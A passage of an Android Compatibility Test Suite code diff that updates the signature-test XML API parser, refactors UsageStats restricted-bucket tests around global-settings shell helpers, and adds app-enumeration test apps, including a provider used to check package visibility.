-            modifiers |= Modifier.SYNCHRONIZED;
-        }
-        if (modifierList.isTransient()) {
-            modifiers |= Modifier.TRANSIENT;
-        }
-        if (modifierList.isVolatile()) {
-            modifiers |= Modifier.VOLATILE;
-        }
-        if (modifierList.isPrivate()) {
-            modifiers |= Modifier.PRIVATE;
-        } else if (modifierList.isProtected()) {
-            modifiers |= Modifier.PROTECTED;
-        } else if (modifierList.isPublic()) {
-            modifiers |= Modifier.PUBLIC;
-        }
-        return modifiers;
-    }
-
-    private static JDiffField convertField(FieldItem item) {
-        int modifiers = getModifiers(item);
-        Object value = item.initialValue(true);
-
-        if (item.isEnumConstant()) {
-            // Set the enum bit on the enum constant to match the modifiers returned by reflection.
-            modifiers |= 0x00004000;
-        }
-
-        return new JDiffField(item.name(),
-                KtHelper.toDefaultTypeString(item.type()), modifiers,
-                value == null ? null : value.toString());
-    }
-
-    private static JDiffConstructor convertConstructor(ConstructorItem item) {
-        JDiffConstructor constructor = new JDiffConstructor(item.name(), getModifiers(item));
-
-        convertParameters(item, constructor);
-
-        return constructor;
-    }
-
-    private static void convertParameters(MethodItem item, JDiffMethod method) {
-        item.parameters().stream()
-                .map(TextApiParser::convertParameter)
-                .forEach(method::addParam);
-    }
-
-    private static JDiffMethod convertMethod(MethodItem item) {
-        TypeItem returnType = item.returnType();
-        String returnTypeAsString = returnType == null ? null
-                : KtHelper.toDefaultTypeString(returnType);
-        JDiffMethod method = new JDiffMethod(item.name(), getModifiers(item), returnTypeAsString);
-
-        convertParameters(item, method);
-
-        return method;
-    }
-
-    private static String convertParameter(ParameterItem item) {
-        return KtHelper.toDefaultTypeString(item.type());
-    }
-}
diff --git a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
index 8e5d0bb..c149492 100644
--- a/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
+++ b/tests/signature/lib/android/src/android/signature/cts/XmlApiParser.java
@@ -20,6 +20,7 @@
 import android.signature.cts.JDiffClassDescription.JDiffMethod;
 import android.util.Log;
 import java.io.IOException;
+import java.io.InputStream;
 import java.lang.reflect.Modifier;
 import java.util.Collections;
 import java.util.HashSet;
@@ -28,6 +29,8 @@
 import java.util.function.Consumer;
 import java.util.stream.Stream;
 import java.util.stream.StreamSupport;
+import java.util.zip.GZIPInputStream;
+
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 import org.xmlpull.v1.XmlPullParserFactory;
@@ -89,6 +92,8 @@
 
     private static final String MODIFIER_VISIBILITY = "visibility";
 
+    private static final String MODIFIER_ENUM_CONSTANT = "metalava:enumConstant";
+
     private static final Set<String> KEY_TAG_SET;
 
     static {
@@ -106,11 +111,13 @@
     }
 
     private final String tag;
+    private final boolean gzipped;
 
     private final XmlPullParserFactory factory;
 
-    XmlApiParser(String tag) {
+    XmlApiParser(String tag, boolean gzipped) {
         this.tag = tag;
+        this.gzipped = gzipped;
         try {
             factory = XmlPullParserFactory.newInstance();
         } catch (XmlPullParserException e) {
@@ -121,16 +128,17 @@
     /**
      * Load field information from xml to memory.
      *
-     * @param className
+     * @param currentClass
      *         of the class being examined which will be shown in error messages
      * @param parser
      *         The XmlPullParser which carries the xml information.
      * @return the new field
      */
-    private static JDiffField loadFieldInfo(String className, XmlPullParser parser) {
+    private static JDiffField loadFieldInfo(
+            JDiffClassDescription currentClass, XmlPullParser parser) {
         String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
         String fieldType = canonicalizeType(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
-        int modifier = jdiffModifierToReflectionFormat(className, parser);
+        int modifier = jdiffModifierToReflectionFormat(currentClass.getClassName(), parser);
         String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
 
         // Canonicalize the expected value to ensure that it is consistent with the values obtained
@@ -148,10 +156,24 @@
                         break;
 
                     case "char":
-                        // A character is encoded in XML as its numeric value. Convert it to a
+                        // A character may be encoded in XML as its numeric value. Convert it to a
                         // string containing the single character.
-                        char c = (char) Integer.parseInt(value);
-                        value = String.valueOf(c);
+                        try {
+                            char c = (char) Integer.parseInt(value);
+                            value = String.valueOf(c);
+                        } catch (NumberFormatException e) {
+                            // If not, it must be a string "'?'". Extract the second character,
+                            // but we need to unescape it.
+                            int len = value.length();
+                            if (value.charAt(0) == '\'' && value.charAt(len - 1) == '\'') {
+                                String sub = value.substring(1, len - 1);
+                                value = unescapeFieldStringValue(sub);
+                            } else {
+                                throw new NumberFormatException(String.format(
+                                        "Cannot parse the value of field '%s': invalid number '%s'",
+                                        fieldName, value));
+                            }
+                        }
                         break;
 
                     case "double":
@@ -248,10 +270,25 @@
         String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
         JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
 
-        currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
         currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
                 JDiffClassDescription.JDiffType.CLASS);
-        currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
+
+        String superClass = stripGenericsArgs(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
+        int modifiers = jdiffModifierToReflectionFormat(className, parser);
+        if (isInterface) {
+            if (superClass != null) {
+                currentClass.addImplInterface(superClass);
+            }
+        } else {
+            if ("java.lang.annotation.Annotation".equals(superClass)) {
+                // ApiComplianceChecker expects "java.lang.annotation.Annotation" to be in
+                // the "impl interfaces".
+                currentClass.addImplInterface(superClass);
+            } else {
+                currentClass.setExtendsClass(superClass);
+            }
+        }
+        currentClass.setModifier(modifiers);
         return currentClass;
     }
 
@@ -315,6 +352,8 @@
                     default:
                         throw new RuntimeException("Unknown modifier found in API spec: " + value);
                 }
+            case MODIFIER_ENUM_CONSTANT:
+                return value.equals("true") ? ApiComplianceChecker.FIELD_MODIFIER_ENUM_VALUE : 0;
         }
         return 0;
     }
@@ -324,7 +363,11 @@
         XmlPullParser parser;
         try {
             parser = factory.newPullParser();
-            parser.setInput(path.newInputStream(), null);
+            InputStream input = path.newInputStream();
+            if (gzipped) {
+                input = new GZIPInputStream(input);
+            }
+            parser.setInput(input, null);
             return StreamSupport
                     .stream(new ClassDescriptionSpliterator(parser), false);
         } catch (XmlPullParserException | IOException e) {
@@ -332,6 +375,10 @@
         }
     }
 
+    private static String stripGenericsArgs(String typeName) {
+        return typeName == null ? null : typeName.replaceFirst("<.*", "");
+    }
+
     private class ClassDescriptionSpliterator implements Spliterator<JDiffClassDescription> {
 
         private final XmlPullParser parser;
@@ -444,8 +491,8 @@
                         break;
 
                     case TAG_IMPLEMENTS:
-                        currentClass
-                                .addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
+                        currentClass.addImplInterface(stripGenericsArgs(
+                                parser.getAttributeValue(null, ATTRIBUTE_NAME)));
                         break;
 
                     case TAG_CONSTRUCTOR:
@@ -470,7 +517,7 @@
                         break;
 
                     case TAG_FIELD:
-                        JDiffField field = loadFieldInfo(currentClass.getClassName(), parser);
+                        JDiffField field = loadFieldInfo(currentClass, parser);
                         currentClass.addField(field);
                         break;
 
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
index 8b40fdf..9dea170 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
@@ -63,6 +63,9 @@
     /** Indicates that the method is a synthetic method. */
     private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
 
+    /** Indicates that a field is an enum value. */
+    public static final int FIELD_MODIFIER_ENUM_VALUE = 0x00004000;
+
     private final InterfaceChecker interfaceChecker;
 
     public ApiComplianceChecker(ResultObserver resultObserver, ClassProvider classProvider) {
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 4440010..92e351a 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -105,14 +105,11 @@
     private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
             AppOpsManager.OPSTR_GET_USAGE_STATS + " {1}";
 
-    private static final String USAGE_SOURCE_GET_SHELL_COMMAND = "settings get global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE;
+    private static final String GET_SHELL_COMMAND = "settings get global ";
 
-    private static final String USAGE_SOURCE_SET_SHELL_COMMAND = "settings put global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE + " {0}";
+    private static final String SET_SHELL_COMMAND = "settings put global ";
 
-    private static final String USAGE_SOURCE_DELETE_SHELL_COMMAND = "settings delete global " +
-            Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE;
+    private static final String DELETE_SHELL_COMMAND = "settings delete global ";
 
     private static final String TEST_APP_PKG = "android.app.usage.cts.test1";
     private static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
@@ -139,6 +136,7 @@
     private KeyguardManager mKeyguardManager;
     private String mTargetPackage;
     private String mCachedUsageSourceSetting;
+    private String mCachedEnableRestrictedBucketSetting;
 
     @Before
     public void setUp() throws Exception {
@@ -152,16 +150,18 @@
 
         assumeTrue("App Standby not enabled on device", AppStandbyUtils.isAppStandbyEnabled());
         setAppOpsMode("allow");
-        mCachedUsageSourceSetting = getUsageSourceSetting();
+        mCachedUsageSourceSetting = getSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE);
+        mCachedEnableRestrictedBucketSetting = getSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET);
     }
 
     @After
     public void cleanUp() throws Exception {
         if (mCachedUsageSourceSetting != null &&
-            !mCachedUsageSourceSetting.equals(getUsageSourceSetting())) {
+                !mCachedUsageSourceSetting.equals(
+                    getSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE))) {
             setUsageSourceSetting(mCachedUsageSourceSetting);
-            mUsageStatsManager.forceUsageSourceSettingRead();
         }
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, mCachedEnableRestrictedBucketSetting);
         // Force stop test package to avoid any running test code from carrying over to the next run
         SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
         mUiDevice.pressHome();
@@ -179,16 +179,20 @@
         executeShellCmd(MessageFormat.format(APPOPS_SET_SHELL_COMMAND, mTargetPackage, mode));
     }
 
-    private String getUsageSourceSetting() throws Exception {
-        return executeShellCmd(USAGE_SOURCE_GET_SHELL_COMMAND);
+    private String getSetting(String name) throws Exception {
+        return executeShellCmd(GET_SHELL_COMMAND + name);
     }
 
-    private void setUsageSourceSetting(String usageSource) throws Exception {
-        if (usageSource.equals("null")) {
-            executeShellCmd(USAGE_SOURCE_DELETE_SHELL_COMMAND);
+    private void setSetting(String name, String setting) throws Exception {
+        if (setting == null || setting.equals("null")) {
+            executeShellCmd(DELETE_SHELL_COMMAND + name);
         } else {
-            executeShellCmd(MessageFormat.format(USAGE_SOURCE_SET_SHELL_COMMAND, usageSource));
+            executeShellCmd(SET_SHELL_COMMAND + name + " " + setting);
         }
+    }
+
+    private void setUsageSourceSetting(String value) throws Exception {
+        setSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE, value);
         mUsageStatsManager.forceUsageSourceSettingRead();
     }
 
@@ -683,7 +687,9 @@
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
-    public void testUserForceIntoRestricted() throws IOException {
+    public void testUserForceIntoRestricted() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+
         launchSubActivity(TaskRootActivity.class);
         assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
                 UsageStatsManager.STANDBY_BUCKET_ACTIVE,
@@ -700,7 +706,28 @@
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
-    public void testUserLaunchRemovesFromRestricted() throws IOException {
+    public void testUserForceIntoRestricted_BucketDisabled() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "0");
+
+        launchSubActivity(TaskRootActivity.class);
+        assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
+                UsageStatsManager.STANDBY_BUCKET_ACTIVE,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+        // User force shouldn't have to deal with the timeout.
+        setStandByBucket(mTargetPackage, "restricted");
+        assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
+                UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+    }
+
+    // TODO(148887416): get this test to work for instant apps
+    @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
+    @Test
+    public void testUserLaunchRemovesFromRestricted() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+
         setStandByBucket(mTargetPackage, "restricted");
         assertEquals("User was unable to force an app into RESTRICTED bucket",
                 UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
@@ -712,6 +739,26 @@
                 mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
     }
 
+    /** Confirm the default value of {@link Settings.Global.ENABLE_RESTRICTED_BUCKET}. */
+    // TODO(148887416): get this test to work for instant apps
+    @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
+    @Test
+    public void testDefaultEnableRestrictedBucketOff() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, null);
+
+        launchSubActivity(TaskRootActivity.class);
+        assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
+                UsageStatsManager.STANDBY_BUCKET_ACTIVE,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+        // User force shouldn't have to deal with the timeout.
+        setStandByBucket(mTargetPackage, "restricted");
+        assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
+                UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+    }
+
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index bc8d224..5e210f1 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -48,6 +48,7 @@
         <option name="test-file-name" value="CtsAppEnumerationQueriesPackage.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingTargetsQ.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasPermission.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasProvider.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardBrowsableActivitySource.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardContactsActivitySource.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardDocumentEditorActivitySource.apk" />
@@ -65,6 +66,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAppEnumerationNoApi.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationNoApi.apk" />
         <option name="push" value="CtsAppEnumerationFilters.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationFilters.apk" />
+        <option name="push" value="CtsAppEnumerationQueriesNothingSeesInstaller.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationQueriesNothingSeesInstaller.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
index 8c95b27..d7832c4 100644
--- a/tests/tests/appenumeration/app/source/Android.bp
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -32,6 +32,18 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothingSeesInstaller",
+    manifest: "AndroidManifest-queriesNothing-seesInstaller.xml",
+    defaults: ["CtsAppEnumerationQueriesDefaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
     name: "CtsAppEnumerationQueriesActivityViaAction",
     manifest: "AndroidManifest-queriesActivityAction.xml",
     defaults: ["CtsAppEnumerationQueriesDefaults"],
@@ -164,6 +176,18 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothingHasProvider",
+    manifest: "AndroidManifest-queriesNothing-hasProvider.xml",
+    defaults: ["CtsAppEnumerationQueriesDefaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
     name: "CtsAppEnumerationSharedUidSource",
     manifest: "AndroidManifest-queriesNothing-sharedUser.xml",
     defaults: ["CtsAppEnumerationQueriesDefaults"],
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
new file mode 100644
index 0000000..1e94c1b
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.nothing.hasprovider">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+        <provider android:name="android.appenumeration.cts.query.TestProvider"
+                  android:authorities="android.appenumeration.queries.nothing.hasprovider"
+                  android:exported="true" >
+
+        </provider>
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
new file mode 100644
index 0000000..0126775
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.nothing.sees.installer">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
index 3e9d789..a4ae8b2 100644
--- a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
@@ -43,25 +43,41 @@
 import android.content.IntentSender;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.PatternMatcher;
 import android.os.RemoteCallback;
 import android.util.SparseArray;
 
+import java.util.ArrayList;
+
 public class TestActivity extends Activity {
 
     SparseArray<RemoteCallback> callbacks = new SparseArray<>();
 
     private Handler mainHandler;
+    private Handler backgroundHandler;
+    private HandlerThread backgroundThread;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         mainHandler = new Handler(getMainLooper());
+        backgroundThread = new HandlerThread("testBackground");
+        backgroundThread.start();
+        backgroundHandler = new Handler(backgroundThread.getLooper());
         super.onCreate(savedInstanceState);
         handleIntent(getIntent());
     }
 
+    @Override
+    protected void onDestroy() {
+        backgroundThread.quitSafely();
+        super.onDestroy();
+    }
+
     private void handleIntent(Intent intent) {
         RemoteCallback remoteCallback = intent.getParcelableExtra(EXTRA_REMOTE_CALLBACK);
         try {
@@ -123,6 +139,9 @@
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 awaitPackageBroadcast(
                         remoteCallback, packageName, Intent.ACTION_PACKAGE_ADDED, 3000);
+            } else if (Constants.ACTION_QUERY_RESOLVER.equals(action)) {
+                final String authority = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+                queryResolverForVisiblePackages(remoteCallback, authority);
             } else {
                 sendError(remoteCallback, new Exception("unknown action " + action));
             }
@@ -199,6 +218,33 @@
         finish();
     }
 
+    private void queryResolverForVisiblePackages(RemoteCallback remoteCallback, String authority) {
+        backgroundHandler.post(() -> {
+            Uri queryUri = Uri.parse("content://" + authority + "/test");
+            Cursor query = getContentResolver().query(queryUri, null, null, null, null);
+            if (query == null || !query.moveToFirst()) {
+                sendError(remoteCallback,
+                        new IllegalStateException(
+                                "Query of " + queryUri + " could not be completed"));
+                return;
+            }
+            ArrayList<String> visiblePackages = new ArrayList<>();
+            while (!query.isAfterLast()) {
+                visiblePackages.add(query.getString(0));
+                query.moveToNext();
+            }
+            query.close();
+
+            mainHandler.post(() -> {
+                Bundle result = new Bundle();
+                result.putStringArray(EXTRA_RETURN_RESULT, visiblePackages.toArray(new String[]{}));
+                remoteCallback.sendResult(result);
+                finish();
+            });
+
+        });
+    }
+
     private void sendError(RemoteCallback remoteCallback, Exception failure) {
         Bundle result = new Bundle();
         result.putSerializable(EXTRA_ERROR, failure);
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java
new file mode 100644
index 0000000..b5bc7f0
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appenumeration.cts.query;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+
+import java.util.Collections;
+
+public class TestProvider extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        MatrixCursor matrixCursor = new MatrixCursor(new String[]{"seenPackage"}, 0);
+        getContext().getPackageManager().getInstalledPackages(0 /*flags*/).forEach(packageInfo -> {
+            matrixCursor.addRow(Collections.singletonList(packageInfo.packageName));
+        });
+        return matrixCursor;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
index c24744f..aea7db5 100644
--- a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
+++ b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
@@ -43,10 +43,15 @@
     public static final String QUERIES_ACTIVITY_ACTION = PKG_BASE + "queries.activity.action";
     /** A package that has no queries but gets the QUERY_ALL_PACKAGES permission */
     public static final String QUERIES_NOTHING_PERM = PKG_BASE + "queries.nothing.haspermission";
+    /** A package that has no queries but has a provider that can be queried */
+    public static final String QUERIES_NOTHING_PROVIDER = PKG_BASE + "queries.nothing.hasprovider";
     /** A package that has no queries tag or permissions but targets Q */
     public static final String QUERIES_NOTHING_Q = PKG_BASE + "queries.nothing.q";
     /** A package that has no queries tag or permission to query any specific packages */
     public static final String QUERIES_NOTHING = PKG_BASE + "queries.nothing";
+    /** Another package that has no queries tag or permission to query any specific packages */
+    public static final String QUERIES_NOTHING_SEES_INSTALLER =
+            PKG_BASE + "queries.nothing.sees.installer";
     /** A package that queries nothing, but is part of a shared user */
     public static final String QUERIES_NOTHING_SHARED_USER = PKG_BASE + "queries.nothing.shareduid";
     /** A package that queries via wildcard action. */
@@ -82,6 +87,8 @@
     private static final String BASE_PATH = "/data/local/tmp/cts/appenumeration/";
     public static final String TARGET_NO_API_APK = BASE_PATH + "CtsAppEnumerationNoApi.apk";
     public static final String TARGET_FILTERS_APK = BASE_PATH + "CtsAppEnumerationFilters.apk";
+    public static final String QUERIES_NOTHING_SEES_INSTALLER_APK =
+            BASE_PATH + "CtsAppEnumerationQueriesNothingSeesInstaller.apk";
 
     public static final String[] ALL_QUERIES_TARGETING_R_PACKAGES = {
             QUERIES_NOTHING,
@@ -127,9 +134,12 @@
             PKG_BASE + "cts.action.GET_INSTALLED_PACKAGES";
     public static final String ACTION_START_SENDER_FOR_RESULT =
             PKG_BASE + "cts.action.START_SENDER_FOR_RESULT";
+    public static final String ACTION_QUERY_RESOLVER =
+            PKG_BASE + "cts.action.QUERY_RESOLVER_FOR_VISIBILITY";
 
     public static final String EXTRA_REMOTE_CALLBACK = "remoteCallback";
     public static final String EXTRA_ERROR = "error";
     public static final String EXTRA_FLAGS = "flags";
     public static final String EXTRA_DATA = "data";
+    public static final String EXTRA_AUTHORITY = "authority";
 }
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index fe9b79d..b63a1c4 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -23,6 +23,7 @@
 import static android.appenumeration.cts.Constants.ACTION_MANIFEST_SERVICE;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_ACTIVITIES;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_PROVIDERS;
+import static android.appenumeration.cts.Constants.ACTION_QUERY_RESOLVER;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_SERVICES;
 import static android.appenumeration.cts.Constants.ACTION_START_DIRECTLY;
 import static android.appenumeration.cts.Constants.ACTION_START_FOR_RESULT;
@@ -35,7 +36,10 @@
 import static android.appenumeration.cts.Constants.QUERIES_ACTIVITY_ACTION;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_PERM;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_PROVIDER;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_Q;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SEES_INSTALLER;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SEES_INSTALLER_APK;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SHARED_USER;
 import static android.appenumeration.cts.Constants.QUERIES_PACKAGE;
 import static android.appenumeration.cts.Constants.QUERIES_PROVIDER_ACTION;
@@ -65,6 +69,7 @@
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
 import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.core.Is.is;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThat;
@@ -75,6 +80,7 @@
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.net.Uri;
@@ -92,6 +98,7 @@
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.hamcrest.core.IsNull;
+import org.junit.After;
 import org.junit.AfterClass;
 import org.junit.Assert;
 import org.junit.BeforeClass;
@@ -100,6 +107,8 @@
 import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
+import java.io.OutputStream;
+import java.util.Arrays;
 import java.util.Objects;
 import java.util.UUID;
 import java.util.concurrent.TimeUnit;
@@ -306,6 +315,21 @@
     }
 
